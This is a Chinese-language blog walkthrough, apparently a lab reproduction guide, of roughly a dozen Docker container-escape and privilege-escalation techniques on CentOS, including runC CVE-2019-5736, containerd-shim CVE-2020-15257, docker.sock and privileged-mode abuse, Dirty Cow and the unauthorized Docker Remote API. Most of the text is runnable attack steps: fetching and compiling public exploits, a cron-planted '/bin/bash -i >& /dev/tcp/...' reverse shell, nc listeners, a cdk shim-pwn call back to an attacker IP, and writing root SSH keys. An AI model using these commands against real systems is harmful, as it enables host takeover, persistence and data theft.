centos系统-docker容器逃逸

docker-runc CVE-2019-5736(runC容器逃逸漏洞)

1、准备漏洞环境:

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

2、下载poc,编译脚本
a)下载poc:https://github.com/Frichetten/CVE-2019-5736-PoC
b)修改payload,将go脚本中的命令修改为反弹shell:vim main.go
在这里插入图片描述
c)、编译生成payload

  • 安装golang:yum install golang
  • 查看当前系统安装的Go语言版本:go version
  • 在/home下创建一个workspace目录,并定义 GOPATH 环境变量指向该目录,这个目录将被 Go 工具用于保存和编辑二进制文件
echo 'export GOPATH="$HOME/workspace"' >> ~/.bashrc
source ~/.bashrc
  • 编译生成payload:CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
    在这里插入图片描述
    3、将main文件放入容器中:sudo docker cp mainunruffled_newton:/tmp
    4、进入容器,并修改权限:docker exec -it unruffled_newton /bin/bash
    在这里插入图片描述
    5、执行main文件,打开新窗口,进入go脚本中的执行反弹的机器,在反弹机器中监听端口
    在这里插入图片描述
    6、打开新窗口,进入该容器
    在这里插入图片描述
    7、启动容器时,触发payload
    在这里插入图片描述
    参考:https://www.cnblogs.com/xiaozi/p/13377619.html

containerd-shim CVE-2020-15257

影响版本:containerd < 1.3.9
1、卸载docker容器:

yum remove docker docker-engine docker.io containerd runc

2、手动安装docker
rpm包下载地址:https://download.docker.com/linux/centos/7/x86_64/stable/Packages/
docker安装指导:https://docs.docker.com/engine/install/centos/#prerequisites
3、查看docker版本
在这里插入图片描述
4、下载容器:docker pull ubuntu:18.04
5、通过–net=host 作为启动参数来运行并进入一个容器:docker run -it --net=host ubuntu:18.04 /bin/bash
6、在容器内执行 cat /proc/net/unix|grep -a "containerd-shim" 可看到抽象命名空间Unix域套接字
在这里插入图片描述
7、下载cdk执行exp并实现反弹shell:

wget https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

8、将cdk文件拷贝到容器/tmp目录下:docker cp cdk/ reverent_mendeleev:/tmp
9、打开新窗口,攻击机器执行nc监控端口:nc -vl 12345
10、进入容器,执行文件:./cdk_linux_amd64 run shim-pwn 192.168.0.44 12345
11、成功实现容器逃逸
参考:https://blog.csdn.net/weixin_45006525/article/details/116229461

docker.sock

1、找到docker.sock:find / -name docker.sock
在这里插入图片描述
2、查看宿主机docker信息:docker -H unix:///run/docker.sock info
3、运行一个新容器并挂载宿主机根路径:docker -H unix:///run/docker.sock run -it -v /:/test ubuntu /bin/bash
4、在新容器的/test 目录下,访问到宿主机的全部资源,然后在tmp写入一个文件
5、退出容器,查看日志:grep 'msg:' /opt/XXX/logs/modescape.log
在这里插入图片描述

Procfs目录挂载逃逸

1、启动时将proc目录挂载在容器中:docker run -v /root/cdk:/cdk -v /proc:/mnt/host_proc --rm -it ubuntu bash
2、退出容器查看日志:grep 'msg:' /opt/XXX/logs/modescape.log

Ptrace逃逸PoC

1、执行命令进入容器:docker run --cap-add=SYS_PTRACE -v /root/cdk:/cdk --rm -it ubuntu bash
2、下载文件:https://github.com/0x00pf/0x00sec_code.git
3、修改infect.c文件中的shellcode:vim mem_inject/infect.c
在这里插入图片描述
4、gcc编译infect.c文件: gcc infect.c -o inject
5、执行infect文件:./inject pid
在这里插入图片描述

CAP_SYS_ADMIN

1、使用–cap-add启动容器:docker run -ti --cap-add=sys_admin ubuntu /bin/bash
2、容器内访问磁盘:fdisk -l
在这里插入图片描述

SYS_MODULE逃逸PoC

1、使用–cap-add启动容器:docker run -ti --cap-add=sys_module -v /lib/modules:/lib/modules --rm -it ubuntu bash

特权模式运行容器

1、创建一个具备–privileged=true特权参数的容器:docker run -ti --privileged=true --name 容器名称 ubuntu /bin/bash
2、查看容器是否开启特权模式:docker inspect prishiyanlou | grep Privileged
在这里插入图片描述
3、 判断当前容器是否通过特权模式起来:cat /proc/self/status |grep Cap
在这里插入图片描述
4、容器中查看主机:fdisk -l
在这里插入图片描述
5、通过mount命令将主机根目录挂载到容器中:mount /dev/vda1 /mnt
在这里插入图片描述
6、将根目录换成指定的目的目录:chroot /mnt/
7、主机中查看log日志:cat /opt/XXX/logs/modescape.log |grep 'msg'
在这里插入图片描述
参考:https://blog.51cto.com/zhaoshilei/2512328

Dirty Cow(CVE-2016-5195)

漏洞范围:Linux内核 >= 2.6.22
内核版本低于列表里的版本,表示还存在脏牛漏洞
在这里插入图片描述
1、查看Linux内核:uname -a
2、下载poc:https://github.com/FireFart/dirtycow
3、对dirty.c进行编译,生成一个dirty的可执行文件:gcc -pthread dirty.c -o dirty -lcrypt
4、执行文件:./dirty test@1234(设置你的登录密码,账户名默认为firefart)
5、登录firefart账户,成功提权
在这里插入图片描述
参考:https://www.cnblogs.com/mrliu0327/p/13456502.html

敏感目录挂载

1、挂载根目录:docker run -it -v /:/opt/test/ ubuntu /bin/bash
2、写入一个文件到tmp目录下:echo 123.txt >> tmp/secroot.txt
在这里插入图片描述
3、查看日志:grep 'msg:' /opt/XXX/logs/modescape.log
在这里插入图片描述

Docker Remote API未授权访问

方法一

1、配置远程访问:vim /usr/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock

在这里插入图片描述
2、重启并查看docker进程:

systemctl daemon-reload 
systemctl restart docker
ps -ef|grep docker

3、查看本机启动的容器:docker -H tcp://0.0.0.0:2375 ps
在这里插入图片描述
4、在另一台机器上创建一个名为busybox的容器:docker -H tcp://IP run -it -v /:/mnt busybox chroot /mnt sh
在这里插入图片描述
5、进入系统目录,写入ssh公钥
在这里插入图片描述
6、更改文件属性:chattr -aui /root/.ssh/authorized_keys

参考:https://zgao.top/docker-remote-api%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/

方法二

1、docker守护进程监听在0.0.0.0,调用API来操作:dockersudo dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
在这里插入图片描述
2、列出容器信息,效果与docker ps一致:curl http://0.0.0.0:2375/containers/json
3、启动容器:docker -H tcp://0.0.0.0:2375 ps -a
4、在目标机器上新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下:

docker -H tcp://192.168.0.41 run -it -v /:/mnt nginx:latest /bin/bash

4、在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root:

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.0.41/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root

5、本地监听端口:nc -vl 12345
6、等待定时任务达到逃逸目的

Shocker 攻击

漏洞影响版本: Docker版本< 1.0, 存在于 Docker 1.0 之前的绝大多数版本
1、下载shocker文件:https://github.com/gabrtv/shocker
2、gcc编译shocker.c文件:gcc shocker.c -o shocker
在这里插入图片描述
3、执行文件:docker run gabrtv/shocker

参考:https://www.cnblogs.com/xiaozi/p/13423853.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值